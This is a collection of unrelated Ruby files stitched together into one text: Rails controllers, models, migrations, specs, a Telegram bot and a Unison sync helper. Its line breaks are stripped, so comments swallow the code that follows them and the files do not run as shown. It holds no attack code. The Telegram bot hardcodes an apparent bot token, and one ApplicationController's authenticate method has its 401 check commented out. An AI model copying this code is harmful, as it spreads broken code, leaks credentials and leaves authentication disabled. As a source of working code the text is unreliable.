require 'rails_helper' RSpec.describe Block, type: :model do it { should have_valid(:name).when("A1") } it { should_not have_valid(:name).when(nil, "")} it { should have_valid(:color).when("green", "pink") } it { should_not have_valid(:color).when(nil, "")} it { should have_valid(:repetitions).when(1, 50) } it { should_not have_valid(:repetitions).when(5.6) } it { should_not have_valid(:repetitions).when(nil, "") } it { should_not have_valid(:repetitions).when("twenty") } it { should_not have_valid(:repetitions).when(-1, 0, 51) } it { should have_valid(:measures).when(1, 50) } it { should_not have_valid(:measures).when(5.6) } it { should_not have_valid(:measures).when(nil, "") } it { should_not have_valid(:measures).when("twenty") } it { should_not have_valid(:measures).when(-1, 0, 51) } it { should have_valid(:time_signature_over).when(nil, "") } it { should have_valid(:time_signature_over).when(1, 16) } it { should_not have_valid(:time_signature_over).when(5.6) } it { should_not have_valid(:time_signature_over).when("twenty") } it { should_not have_valid(:time_signature_over).when(-1, 0, 17) } it { should have_valid(:time_signature_under).when(nil, "") } it { should have_valid(:time_signature_under).when(2, 4, 8, 16) } it { should_not have_valid(:time_signature_under).when(3, 7) } it { should_not have_valid(:time_signature_under).when(5.6) } it { should_not have_valid(:time_signature_under).when("twenty") } it { should_not have_valid(:time_signature_under).when(-1, 0, 17) } it { should have_valid(:location).when(1, 4, 16) } it { should_not have_valid(:location).when(nil, "") } it { should_not have_valid(:location).when("twenty") } it { should_not have_valid(:location).when(-1, 0) } it { should have_valid(:tempo).when(nil, "") } it { should have_valid(:tempo).when(1, 75, 250) } it { should_not have_valid(:tempo).when(75.6) } it { should_not have_valid(:tempo).when("twenty") } it { should_not have_valid(:tempo).when(-1, 0, 251) } end
class ApplicationController < ActionController::API def logged_in? !!current_user end def current_user # binding.pry if auth_present? user = User.find(auth["user"]) if user @current_user ||= user end end end def authenticate # render json: {error: "unauthorized"}, status: 401 unless logged_in? end private def token request.headers['authorization'].scan(/Bearer (.*)$/).flatten.last end def auth Auth.decode(token) end def auth_present? if request.headers['authorization'] != "Bearer undefined" !!request.headers['authorization'] else false end end end
class AddTeamIdToProjectMedias < ActiveRecord::Migration def change add_column :project_medias, :team_id, :integer add_index :project_medias, :team_id end end
class Sampling::ProgramOptinController < ApplicationController before_filter :load_program before_filter :require_authentication, :only => :optin before_filter :hide_branding_content, :only => [:index, :optin] ssl_required :index, :optin, :index_from_session_user caches_page :index, :success def index unless @program handle_resource_not_found return end if !@program.optin_allowed? @web_analytics.page_stack = ['Sampling', 'Closed', @program.permalink] @web_analytics.page_type = 'Sampling' render :action => 'closed' return end @participant = Sampling::Participant.new @web_analytics.page_stack = ['Sampling', 'Optin Form', @program.permalink] @web_analytics.page_type = 'Sampling' end def index_from_session_user setup_participant render :update do |page| page.replace_html :sampling_form_div, :partial => 'form' end end def optin if session_user.sampling_participant.blank? session_user.sampling_participant = Sampling::Participant.new :user => session_user end @participant = session_user.sampling_participant begin Sampling::Participant.transaction do session_user.sampling_participant.update_attributes params[:sampling_participant] raise ActiveRecord::RecordInvalid.new(@participant) unless @participant.errors.blank? # capture answers to questions params[:program_question_answer] ||= {} @program.program_questions.each do |question| answer_id = params[:program_question_answer][question.id.to_s] answer = Sampling::ProgramQuestionAnswer.find_by_id answer_id if answer.blank? if question.required? @participant.errors.add_to_base "You must answer the question \"#{question.text}\"" end else question.user_answer(session_user, answer) end end raise ActiveRecord::RecordInvalid.new(@participant) unless @participant.errors.blank? unless @program.participants.include?(session_user.sampling_participant) @program.participants << session_user.sampling_participant end end redirect_to sampling_optin_success_url(:protocol => 'http') rescue ActiveRecord::RecordInvalid => e logger.info "Sampling program optin failed -- #{e.message}}" @web_analytics.page_stack = ['Sampling', 'Optin Form with Errors', @program.permalink] @web_analytics.page_type = 'Sampling' render :action => 'index' end end def success @web_analytics.page_stack = ['Sampling', 'Success', @program.permalink] @web_analytics.page_type = 'Sampling' end private def setup_participant if session_user.blank? @participant = Sampling::Participant.new else @participant = session_user.sampling_participant if @participant.blank? @participant = Sampling::Participant.new(:user => session_user) @participant.first_name = @participant.user.first_name @participant.last_name = @participant.user.last_name @participant.address_line_1 = @participant.user.address_line_1 @participant.address_line_2 = @participant.user.address_line_2 @participant.city = @participant.user.city @participant.state = @participant.user.state @participant.zip_code = @participant.user.zip_code @participant.date_of_birth = @participant.user.date_of_birth end end end def load_program @program = Sampling::Program.find_by_param params[:program_id] end def hide_branding_content @hide_branding_content = true end end
class Company < ActiveRecord::Base has_friendly_id :unique_identifier, :use_slug => false belongs_to :account belongs_to :city belongs_to :maintainer, :class_name => 'User' has_many :employees has_many :users, :through => :employees has_many :pages, :as => :pageable validates :name, :presence => true, :length => { :maximum => 50 }#, :uniqueness => {:scope => :city_id} validates :account_id, :presence => true validates :company_type, :length => { :maximum => 50 } validates :city_id, :presence => true validates :maintainer_id, :presence => true #validates :brief_description, :presence => true validates :unique_identifier, :presence => true, :length => { :minimum => 4, :maximum => 40 }, :uniqueness => true validate :has_stripe_token # :city_id=>["can't be blank"], # :brief_description=>["can't be blank"], :base=>["There is a problem with your credit card."]} attr_accessor :stripe_card_token COMPANY_TYPES = ['Angel Fund', 'Venture Capitalist', 'Private', 'Non-Investment'] def make_owner(user, title = 'Owner' ) transaction do self.maintainer_id = user.id if maintainer_id != user.id save owner = self.employees.new(:user => user, :title => title, :status => 'active' ) owner.privilege_ids = Privilege.select(:id).all.map(&:id) owner.save! end end def create_with_payment(user, title = 'Owner' ) self.maintainer_id = user.id unless maintainer_id set_payment_info make_owner(user, title = 'Owner' ) rescue Stripe::InvalidRequestError => e logger.error "Stripe error while creating customer: #{e.message}" errors.add :base, "There was a problem with your credit card." false end def save_with_payment set_payment_info save rescue Stripe::InvalidRequestError => e logger.error "Stripe error while creating customer: #{e.message}" errors.add :base, "There was a problem with your credit card!" false end def find_employee(user_id) Employee.includes(:privileges).where(:company_id => id, :user_id => user_id).first end def user_is_admin?(user) (maintainer.id == user.id) || (find_employee(user.id).try(:admin?)) end protected def set_payment_info if valid? && stripe_card_token.present? # !Account::FREE_ACCOUNT_IDS.any?{|acc_id| acc_id == account_id} # Valid and not a free account customer = Stripe::Customer.create(description: "#{name} - #{maintainer.email}", plan: account_id, card: stripe_card_token) self.stripe_customer_token = customer.id end end def has_stripe_token if !Account::FREE_ACCOUNT_IDS.any?{|acc_id| acc_id == account_id} # if it isn't a free account if ( stripe_customer_token.blank? && stripe_card_token.blank? ) # they must have a stripe credit card on file self.errors.add :base, "There is a problem with your credit card." # or else there is an error end end true end end
require_relative 'import_job' module Budget module PcFinancial class ImportService < Budget::ImportService preference :client_number preference :password define_singleton_method(:description) { 'PC Financial CSV Import Service' } def call(options) ImportJob.new( client_number: preferred_client_number, password: preferred_password, logger: options.delete(:logger) ).call(options.slice(:accounts, :since)) end end end end Budget::ImportService.register(Budget::PcFinancial::ImportService)
class ProductsController < ApplicationController def index end def new @product = Product.new @supplier = @product.suppliers.build() end def create @product = Product.new(product_params) @supplier = @product.suppliers.build(supplier_params) # binding.pry if @product.save && @supplier.save flash[:notification] = "You created them both." else flash[:notification] = "You didnt save them." end redirect_to new_product_path end private def product_params params.require(:product).permit(:in_store, :name, :name_confirmation, :price, :terms_of_service) end def supplier_params params.require(:product).require(:supplier).permit(:name, :country) end end
require_relative 'test_helper' require 'robot_factory' describe RobotFactory do include TestHelper before do @robot_factory = RobotFactory.new [ "#|#|#|##", "---X----", "###||###" ] end describe "#load_layout" do it "should initialize north laser bank" do refute @robot_factory.north_bank.nil?, "has north bank" end it "should initialize south laser bank" do refute @robot_factory.south_bank.nil?, "has south bank" end it "should have correct size" do assert_equal 8, @robot_factory.size end it "should set starting position" do assert_equal 3, @robot_factory.robot_starting_position end end describe "#damage" do it "should detect damage on click 0 at position 1" do assert @robot_factory.damage?(0, 1) end it "should not detect damage on click 1 at position 1" do refute @robot_factory.damage?(1, 1) end it "should not detect damage on click 0 at position 5" do refute @robot_factory.damage?(0, 4) end it "should detect damage on click 1 at position 5" do assert @robot_factory.damage?(1, 4) end it "should not detect damage on click 0 at position 0" do refute @robot_factory.damage?(0, 0) end it "should not detect damage on click 1 at position 0" do refute @robot_factory.damage?(1, 0) end end describe "#calculate_damage" do it "should calulate damage when moving left" do assert_equal 2, @robot_factory.calculate_damage(:direction => :west) end it "should calulate damage when moving right" do assert_equal 3, @robot_factory.calculate_damage(:direction => :east) end end end
require 'posix/spawn' module Oncotrunk class Syncer def initialize @profile = "oncotrunk" @unison_config_path = File.expand_path("~/.unison") if RUBY_PLATFORM.downcase.include?("darwin") @unison_config_path = File.expand_path("~/Library/Application Support/Unison") end end def sync(local, remote, path=nil) ensure_profile max_tries = 10 tries = 0 while tries < max_tries if run_unison(local, remote, path) Oncotrunk.ui.info "Sync complete" return end tries += 1 end raise SyncFailedError, "Unison did not complete after #{max_tries} tries" end private def run_unison(local, remote, path=nil) program = "unison" args = [@profile, "-root", local, "-root", remote, "-batch", "-auto", "-dumbtty", "-ignore", "Path #{Oncotrunk.cachedir_name}", "-sortbysize", "-terse"] Oncotrunk.ui.debug "#{program} #{args.join(" ")}" r,w = IO.pipe options = {:in => "/dev/null", 2=>1, :out => w} if RUBY_VERSION.include?("1.8.") pid = POSIX::Spawn::spawn(program, *args, options) else pid = Process.spawn(program, *args, options) end w.close Process.waitpid(pid) Oncotrunk.ui.info "unison: #{r.read}" r.close case $?.exitstatus when 0 # did some work return true when 1 # nothing to sync return true when 3 # locked return false when 2 # update failed return false else raise SyncFailedError, "Unhandled unison exit code #{$?.exitstatus}" end end def ensure_profile if not File.exists?(@unison_config_path) %x{unison 1>&2 2>/dev/null} end profile_file = File.join(@unison_config_path, "#{@profile}.prf") if not File.exists?(profile_file) File.open(profile_file, 'w') do |f| f.write("# Automatically generated by Oncotrunk") end end end end end
class BlogsController < ApplicationController before_action except: [:index, :show] do if @current_user.nil? redirect_to sign_in_path, notice: "Please Sign In" end end def index @blogs = Blog.all.order(created_at: :desc) end def new @blog = Blog.new end def create @blog = Blog.new @blog.user_id = @current_user.id @blog.subject = params[:blog][:subject] @blog.image = params[:blog][:image] @blog.body = params[:blog][:body] @blog.tags = params[:blog][:tags] if @blog.save! redirect_to root_path else render :new end end end
#!/usr/bin/env ruby puts '--------------------------------------------------' puts 'Tag Hook called' puts 'This hook is called when there is a specific tag' env_vars = %w[ LOADRUNNER_REPO LOADRUNNER_OWNER LOADRUNNER_EVENT LOADRUNNER_BRANCH LOADRUNNER_REF LOADRUNNER_TAG LOADRUNNER_COMMIT ] env_vars.each do |varname| puts "- #{varname}: #{ENV[varname]}" end
# coding: UTF-8 require 'telegram/bot' TOKEN = '476505256:AAGOniuN-bBc4_ULiP33JlUbYhOSaV0imH8' ANSWERS = [ # Positive "Yes", "Of course", "All right", "No doubts", # Neutral "I do not now yet", "I think yes", # Negative "No", "It is forbidden", "I do not allow", "Hope you`re kidding" ] Telegram::Bot::Client.run(TOKEN) do |bot| bot.listen do |message| case message.text when '/start', '/start start' bot.api.send_message( chat_id: message.chat.id, text: "Hi, #{message.from.first_name}!" ) when 'Hi', 'Hello' bot.api.send_message( chat_id: message.chat.id, text: "Hi, you`re so polite)" ) else bot.api.send_message( chat_id: message.chat.id, text: ANSWERS.sample ) end end end
class Wrapper def wrap(string, col_num) return nil if string.empty? if string.length > col_num return string.split(" ").join("\n") end string end end describe Wrapper do let(:wrapper) { Wrapper.new } context "given an empty string and 0 as arguments" do it "wrap returns nil" do # Arrange # Act # Assert expect(wrapper.wrap("", 0)).to eq(nil) end end context "given an input of 'a' and col_num is 1" do it "wrap returns 'a' without wrapping" do # Arrange # Act # Assert expect(wrapper.wrap("a", 1)).to eq("a") end end context "given an input of 'hello' and col_num is 5" do it "wrap returns 'hello' without wrapping" do # Arrange # Act # Assert expect(wrapper.wrap("hello", 5)).to eq("hello") end end context "given an input of 'hello world' and col_num is 11" do it "wrap returns 'hello world' without wrapping" do # Arrange # Act # Assert expect(wrapper.wrap("hello world", 11)).to eq("hello world") end end context "given an input of 'hello world' and col_num is 5" do it "wrap returns 'hello\nworld' with wrapping" do # Arrange # Act # Assert expect(wrapper.wrap("hello world", 5)).to eq("hello\nworld") end end context "given an input of 'hello month' and col_num is 5" do it "wrap returns 'hello\nmonth' with wrapping" do # Arrange # Act # Assert expect(wrapper.wrap("hello month", 5)).to eq("hello\nmonth") end end end
class ClientTypesController < ApplicationController before_action :set_client_type, only: [:show, :update, :destroy] # GET /client_types # GET /client_types.json def index @client_types = ClientType.all render json: @client_types end # GET /client_types/1 # GET /client_types/1.json def show render json: @client_type end # POST /client_types # POST /client_types.json def create @client_type = ClientType.new(client_type_params) if @client_type.save render json: @client_type, status: :created, location: @client_type else render json: @client_type.errors, status: :unprocessable_entity end end # PATCH/PUT /client_types/1 # PATCH/PUT /client_types/1.json def update @client_type = ClientType.find(params[:id]) if @client_type.update(client_type_params) head :no_content else render json: @client_type.errors, status: :unprocessable_entity end end # DELETE /client_types/1 # DELETE /client_types/1.json def destroy @client_type.destroy head :no_content end private def set_client_type @client_type = ClientType.find(params[:id]) end def client_type_params params.require(:client_type).permit(:label) end end
require 'spec_helper' describe "/transactions/index.html.erb" do include TransactionsHelper before(:each) do view_as_user :maintainer assigns[:transactions] = [ stub_model(Transaction, :title => "value for title", :name => "value for name", :definition => mock_definition, :created_at => Time.now ), stub_model(Transaction, :title => "value for title", :name => "value for name", :definition => mock_definition, :created_at => Time.now ) ] assigns[:search] = mock_search mock_search.stub :id => nil mock_search.stub :organization_ids => [1,2,3] mock_definition.stub(:title => 'My Definition') template.stub(:admin_signed_in? => true) end it "renders a list of transactions" do render response.should have_tag("ul li a", "value for title".to_s, 2) end end
module Analyst module Entities class Hash < Entity handles_node :hash def pairs @pairs ||= process_nodes(ast.children) end # Convenience method to turn this Entity into an actual ::Hash. # If `extract_values` is true, then all keys and values that respond # to `#value` will be replaced by the value they return from that call. # Otherwise they'll be left as Analyst::Entities::Entity objects. def to_hash(extract_values:true) pairs.inject({}) do |hash, pair| key = pair.key val = pair.value if extract_values key = key.value if key.respond_to?(:value) val = val.value if val.respond_to?(:value) end hash[key] = val hash end end private def contents pairs end end end end
# frozen_string_literal: true require 'parseline' module Brcobranca module Retorno module Cnab240 class Ailos < Brcobranca::Retorno::Cnab240::Base # Regex para remoção de headers e trailers além de registros diferentes de T ou U REGEX_DE_EXCLUSAO_DE_REGISTROS_NAO_T_OU_U = /^((?!^.{7}3.{5}[T|U].*$).)*$/.freeze def self.load_lines(file, options = {}) default_options = { except: REGEX_DE_EXCLUSAO_DE_REGISTROS_NAO_T_OU_U } options = default_options.merge!(options) Line.load_lines(file, options).each_slice(2).reduce([]) do |retornos, cnab_lines| retornos << generate_retorno_based_on_cnab_lines(cnab_lines) end end def self.generate_retorno_based_on_cnab_lines(cnab_lines) retorno = new cnab_lines.each do |line| if line.tipo_registro == 'T' Line::REGISTRO_T_FIELDS.each do |attr| retorno.send("#{attr}=", line.send(attr)) end else Line::REGISTRO_U_FIELDS.each do |attr| retorno.send("#{attr}=", line.send(attr)) end end end retorno end # Linha de mapeamento do retorno do arquivo CNAB 240 # O registro CNAB 240 possui 2 tipos de registros que juntos geram um registro de retorno bancário # O primeiro é do tipo T que retorna dados gerais sobre a transação # O segundo é do tipo U que retorna os valores da transação class Line < Base extend ParseLine::FixedWidth # Extendendo parseline REGISTRO_T_FIELDS = %w[codigo_registro codigo_ocorrencia agencia_com_dv cedente_com_dv nosso_numero carteira data_vencimento valor_titulo banco_recebedor agencia_recebedora_com_dv sequencial valor_tarifa motivo_ocorrencia].freeze REGISTRO_U_FIELDS = %w[desconto_concedito valor_abatimento iof_desconto juros_mora valor_recebido outras_despesas outros_recebimento data_credito data_ocorrencia].freeze attr_accessor :tipo_registro fixed_width_layout do |parse| # Segmento T parse.field :codigo_registro, 7..7 parse.field :sequencial, 8..12 parse.field :tipo_registro, 13..13 parse.field :codigo_ocorrencia, 15..16 parse.field :agencia_com_dv, 17..22 parse.field :cedente_com_dv, 23..35 parse.field :nosso_numero, 37..56 parse.field :carteira, 57..57 parse.field :data_vencimento, 73..80 parse.field :valor_titulo, 81..95 parse.field :banco_recebedor, 96..98 parse.field :agencia_recebedora_com_dv, 99..104 parse.field :valor_tarifa, 198..212 parse.field :motivo_ocorrencia, 213..222, lambda { |motivos| motivos.scan(/.{2}/).reject(&:blank?).reject { |motivo| motivo == '00' } } # Segmento U parse.field :data_ocorrencia, 137..144 parse.field :data_credito, 145..152 parse.field :outras_despesas, 107..121 parse.field :iof_desconto, 62..76 parse.field :valor_abatimento, 47..61 parse.field :desconto_concedito, 32..46 parse.field :valor_recebido, 77..91 parse.field :juros_mora, 17..31 parse.field :outros_recebimento, 122..136 # Dados que não consegui extrair dos registros T e U # parse.field :convenio,31..37 # parse.field :tipo_cobranca,80..80 # parse.field :tipo_cobranca_anterior,81..81 # parse.field :natureza_recebimento,86..87 # parse.field :carteira_variacao,91..93 # parse.field :desconto,95..99 # parse.field :iof,100..104 # parse.field :comando,108..109 # parse.field :data_liquidacao,110..115 # parse.field :especie_documento,173..174 # parse.field :valor_tarifa,181..187 # parse.field :juros_desconto,201..213 # parse.field :abatimento_nao_aproveitado,292..304 # parse.field :valor_lancamento,305..317 # parse.field :indicativo_lancamento,318..318 # parse.field :indicador_valor,319..319 # parse.field :valor_ajuste,320..331 end end end end end end
class BlacklistedTags < ActiveRecord::Migration def self.up create_table :blacklisted_tags do |t| t.column :kind, :enum, :limit => AbstractTag::KIND_ENUM_VALUES, :default => :about_me, :null => false t.column :value, :string, :limit => AbstractTag::VALUE_MAX_LENGTH, :null => false end end def self.down drop_table :blacklisted_tags end end
class Appointment < Event # before_save :set_appointment_end_time validates_presence_of :user_id, :service_id, :company_id, :location_id validates_numericality_of :price, min: 0, step: :any def self.save_with_client(company, params) # save client first client_params = params[:appointment].delete(:client_attributes) if client_params[:id].present? client = Client.find(client_params[:id]) client.assign_attributes(client_params) else client = company.clients.build(client_params) end client.should_validate_email = true if params[:appointment][:send_client_notification] == '1' client.should_validate_phone = true if !params[:appointment][:phone].present? client.save if params[:id] appointment = Appointment.find(params[:id]) appointment.assign_attributes(params[:appointment]) else appointment = company.appointments.build(params[:appointment]) end appointment.client = client appointment.save return appointment end end
#-- # $Id$ # #Copyright (C) 2007 David Dent # #This program is free software; you can redistribute it and/or #modify it under the terms of the GNU General Public License #as published by the Free Software Foundation; either version 2 #of the License, or (at your option) any later version. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. # #You should have received a copy of the GNU General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. class ServletTrackpoints < HTTPServlet::AbstractServlet def initialize(config, database) super @db = Database.new(database) @db.prepare_export_statements end def do_GET(req, res) if req.query['bbox'] && req.query['page'] bbox = req.query['bbox'].split(',') if bbox.length != 4 raise HTTPStatus::PreconditionFailed.new("badly formatted attribute: 'bbox'") end page = req.query['page'].to_i res['Content-Type'] = 'Content-Type: text/xml; charset=utf-8' @logger.info("find_gpx_| #{req.query['bbox']}") @logger.info("page #{page}") res.body = "<?xml version='1.0' encoding='UTF-8'?>\n" res.body << "<gpx version='1.0' creator='gpx_server #{$VERSION}' xmlns='http://www.topografix.com/GPX/1/0/'>\n" res.body << " <trk>\n" res.body << " <trkseg>\n" total = 0 bbox[0] = bbox[0].to_f bbox[1] = bbox[1].to_f bbox[2] = bbox[2].to_f bbox[3] = bbox[3].to_f @db.export_point_page.execute(bbox[0], bbox[2], bbox[1], bbox[3], $POINTS_PAGE, page * $POINTS_PAGE) do |result| result.each do |point| res.body << " <trkpt lat='#{point[0].to_f}' lon='#{point[1].to_f}'/>\n" total += 1 end end res.body << " </trkseg>\n" res.body << " </trk>\n" res.body << "</gpx>\n" @db.close @logger.info("exported #{total} points") raise HTTPStatus::OK else if !req.query['bbox'] raise HTTPStatus::PreconditionFailed.new("missing attribute: 'bbox'") else raise HTTPStatus::PreconditionFailed.new("missing attribute: 'page'") end end end end
class PoliticalMandate < ApplicationRecord scope :search, ->(query) { where('description like ?', "%#{query}%") } validates :first_period, :description, :final_period, presence: true has_many :councilmen, dependent: :destroy validate :date_period def date_period errors.add(:first_period, I18n.t('errors.messages.date.less_thee')) if !final_period.nil? && first_period >= final_period end def formatted_date date.to_time.strftime('%d/%m/%Y') end end
class CharacterAttributesController < ApplicationController before_action :get_character before_action :set_character_attribute, only: [:show, :edit, :update, :destroy] before_action :require_permission, only: [:destroy, :edit, :update] before_action :authenticate!, only: [:new, :create, :edit, :update, :destroy] # GET /character_attributes/1 # GET /character_attributes/1.json def show @character_attribute = @character.character_attributes.find(params[:id]) end # GET /character_attributes/new def new @character_attribute = @character.character_attributes.new end # GET /character_attributes/1/edit def edit end # POST /character_attributes # POST /character_attributes.json def create @character_attribute = @character.character_attributes.new(character_attribute_params) @result = @character_attribute.save respond_to do |format| if @result format.js else format.js end end end # PATCH/PUT /character_attributes/1 # PATCH/PUT /character_attributes/1.json def update @character_attributes = @character.character_attributes @updated = @character_attribute.update(character_attribute_params) respond_to do |format| if @updated format.js else format.js end end end # DELETE /character_attributes/1 # DELETE /character_attributes/1.json def destroy @character_attributes = @character.character_attributes @character_attribute = @character.character_attributes.find(params[:id]) @character_attribute.destroy respond_to do |format| format.js end end private # Use callbacks to share common setup or constraints between actions. def set_character_attribute @character_attribute = CharacterAttribute.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def character_attribute_params params.require(:character_attribute).permit(:name, :numerical_value, :avatar, :character_id) end def get_character @character = Character.find(params[:character_id]) end def require_permission # @character = Character.find(params[:character_id]) unless admin_signed_in? || current_user == @character.user redirect_to(root_path,:notice=>"You can only edit/delete attributes of the characters you created") end end end
# комментарии к статьям в блоге class CommentsController < ApplicationController before_filter :authenticate_user! # реализовано только создание комментариев # вывод комментариев происходит в виде вывода статьи def create @article=Article.find(params[:article_id]) @article.comments.create(comment_params) redirect_to @article end private # разрешение передачи параметров def comment_params params.require(:comment).permit(:author, :body) end end
module Darky class Parser class << self def parse command, *args, &block String(command).split('___').join(' ') .split('__').join(' --') .split('_').join(' -') end end end end
class RentalsController < ApplicationController def index @rentals = Rental.all end def new @rental = Rental.new end def create #render text: params[:rental].inspect @rental = Rental.new(rental_params) @rental.save redirect_to @rental end def show @rental = Rental.find(params[:id]) end private def rental_params params.require(:rental).permit(:price, :pet_id, :property_id, :room_id, :bathroom_id, :street_num, :city_id, :state_id, :county_id, :zip_id) end end
class Country < ActiveRecord::Base has_many :user_countries has_many :users, through: :user_countries validates :name, presence: true, uniqueness: { case_sensitive: false } def self.create_from_api_data(data) country = self.create country.name = data["name"] country.topLevelDomain = data["topLevelDomain"] country.alpha2Code = data["alpha2Code"] country.alpha3Code = data["alpha3Code"] country.callingCodes = data["callingCodes"] country.capital = data["capital"] country.region = data["region"] country.subregion = data["subregion"] country.demonym = data["demonym"] country.area = data["area"] country.timezones = data["timezones"] country.borders = data["borders"] country.nativeName = data["nativeName"] country.currency_name = data["nativeName"] country.currency_symbol = data["currencies"][0]["symbol"] country.native_lang_name = data["languages"][0]["nativeName"] country.language_name = data["languages"][0]["name"] country.flag_path = data["flag"] country.save country end def self.country_names path = "public/img/flags/" flags ||= Dir.glob("#{path}*.svg").collect{|flag| flag.gsub("#{path}","").gsub(".svg", "")} end def slug name.downcase.gsub(" ","-") end def self.find_by_slug(slug) all.find{|country| country.slug == slug} end private def self.populate_data_from_api path = "https://restcountries.eu/rest/v2/all" data = JSON.parse(RestClient.get(path, headers={})) end def self.load all.empty? ? matches? : all end def self.matches? @api_countries ||= populate_data_from_api @api_countries.map do |api_country| if country_names.include?(api_country["name"]) create_from_api_data(api_country) end end all end end
require 'test_helper' class IcdBlocksControllerTest < ActionController::TestCase setup do @icd_block = icd_blocks(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:icd_blocks) end test "should get new" do get :new assert_response :success end test "should create icd_block" do assert_difference('IcdBlock.count') do post :create, icd_block: @icd_block.attributes end assert_redirected_to icd_block_path(assigns(:icd_block)) end test "should show icd_block" do get :show, id: @icd_block.to_param assert_response :success end test "should get edit" do get :edit, id: @icd_block.to_param assert_response :success end test "should update icd_block" do put :update, id: @icd_block.to_param, icd_block: @icd_block.attributes assert_redirected_to icd_block_path(assigns(:icd_block)) end test "should destroy icd_block" do assert_difference('IcdBlock.count', -1) do delete :destroy, id: @icd_block.to_param end assert_redirected_to icd_blocks_path end end
FactoryGirl.define do factory :tagged do micropost { build(:micropost) } synonymous_club { build(:synonymous_club) } end factory :invalid_tagged, parent: :tagged do micropost nil synonymous_club nil end end
# frozen_string_literal: true module Renalware module Diaverum module Incoming class ReportMailer < ApplicationMailer # Send the report summary output from the diavereum:ingest rake task to interested # parties def import_summary(to:, summary_file_path:) to ||= config.diaverum_reporting_email_addresses filename = File.basename(summary_file_path) attachments[filename] = File.read(summary_file_path) mail(to: Array(to), subject: subject) end private def subject "Renalware Diaverum summary #{I18n.l(Time.zone.today)}" end end end end end
module Parser # Is included by {CodeObject::Base} and {Parser::Comment} and stores Metainformation like # # - **filepath** of the JavaScript-File, where the comment is extracted from # - **source** of the JavaScript-Scope, which begins just after the comment ends. # - **line_start** - Linenumber of the first scope-line module MetaContainer attr_reader :filepath, :source, :line_start def add_meta_data(filepath, source, line_start) @filepath, @source, @line_start = filepath, source, line_start+1 # counting from 1 end def clone_meta(other) @filepath, @source, @line_start = other.filepath, other.source, other.line_start end end end
class AddSurveyScoreType < ActiveRecord::Migration[7.0] def change add_column :surveys, :score_type, :integer, default: 0 change_column_default :survey_questions, :format, from: nil, to: 0 end end
#!/usr/bin/env ruby require_relative 'jump_consistent_hash' require 'securerandom' KEYS = 10000 start_key = (ARGV[0] || SecureRandom.random_number(1 << 60)).to_i puts "start_key #{start_key}" stop_key = start_key + KEYS - 1 keys = (start_key..stop_key).to_a assigns = Array.new(KEYS, 0) dev_ratio_max = 0 move_ratio_max = 0 (2..100).each do |buckets| bucket_counts = Array.new(buckets, 0) jch = JumpConsistentHash.new(buckets) moved = 0 keys.each_with_index do |key, i| bucket = jch.bucket(key) bucket_counts[bucket] += 1 if bucket != assigns[i] unless bucket == buckets - 1 fail "Shuffle move (#{assigns[i]} -> #{bucket}): #{buckets} #{key}" end assigns[i] = bucket moved += 1 end end avg = KEYS.to_f / buckets p = 1.0 / buckets binomial_stdev = Math.sqrt(KEYS * p * (1.0 - p)) dev_ratio = (bucket_counts.max - bucket_counts.min) / binomial_stdev if dev_ratio > dev_ratio_max dev_ratio_max = dev_ratio puts "#{buckets} #{avg} #{bucket_counts.min}-#{bucket_counts.max} #{dev_ratio}" if dev_ratio > 7.0 fail "Excessive deviation #{dev_ratio}" end end end
require 'spec_helper' describe 'php::fpm', type: :class do on_supported_os.each do |os, facts| context "on #{os}" do let :facts do facts end describe 'when called with no parameters' do case facts[:osfamily] when 'Debian' let(:params) do { package: 'php5-fpm', ensure: 'latest' } end it { is_expected.to contain_package('php5-fpm').with_ensure('latest') } it { is_expected.to contain_service('php5-fpm').with_ensure('running') } else it { is_expected.to contain_service('php-fpm').with_ensure('running') } end end end end end
class Turn attr_reader :player, :dealer def initialize(player, dealer) @player = player @dealer = dealer @hand = [] end def over? false end def winner? if dealer.hand_value > 21 true elsif player.hand_value == 21 true elsif player.hand_value > dealer.hand_value true else false end end def blackjack? if player.hand_value == 21 && dealer.hand_value == 21 false elsif player.hand_value == 21 || dealer.hand_value == 21 true else false end end def bust? player.hand_value > 21 || dealer.hand_value > 21 end def push? if player.hand_value != 0 && player.hand_value == dealer.hand_value true else false end end end
begin require 'rubygems' require 'jeweler' Jeweler::Tasks.new do |gemspec| gemspec.name = "yahoo_sports" gemspec.summary = "Ruby library for parsing stats from Yahoo! Sports pages" gemspec.description = "Ruby library for parsing stats from Yahoo! Sports pages. Currently supports MLB, NBA, NFL and NHL stats and info." gemspec.email = "chetan@pixelcop.net" gemspec.homepage = "http://github.com/chetan/yahoo_sports" gemspec.authors = ["Chetan Sarva"] gemspec.add_dependency('scrapi', '>= 1.2.0') gemspec.add_dependency('tzinfo', '>= 0.3.15') end Jeweler::GemcutterTasks.new rescue LoadError puts "Jeweler not available. Install it with: sudo gem install jeweler" end require "rake/testtask" desc "Run unit tests" Rake::TestTask.new("test") { |t| #t.libs << "test" t.ruby_opts << "-rubygems" t.pattern = "test/**/*_test.rb" t.verbose = false t.warning = false } require "yard" YARD::Rake::YardocTask.new("docs") do |t| end
class AddPosition2ToMovables < ActiveRecord::Migration def change add_column :movables, :position_2, :float, default: 0 end end
module CompaniesHouseXmlgateway module Service class CorporatePscCessation < CompaniesHouseXmlgateway::Service::Form API_CLASS_NAME = 'PSCCessation' SCHEMA_XSD = 'http://xmlgw.companieshouse.gov.uk/v1-0/schema/forms/PSCCessation-v1-1.xsd' # Generate the XML document that is embedded in the envelope for a Secretary Appointment action def build(submission) super do |xml| xml.PSCCessation( 'xmlns' => 'http://xmlgw.companieshouse.gov.uk', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation' => "http://xmlgw.companieshouse.gov.uk #{SCHEMA_XSD}" ) do xml.Corporate do xml.CorporateName submission.data[:name] end xml.CessationDate submission.data[:cessation_date] xml.RegisterEntryDate submission.data[:register_entry_date] end end end end end end
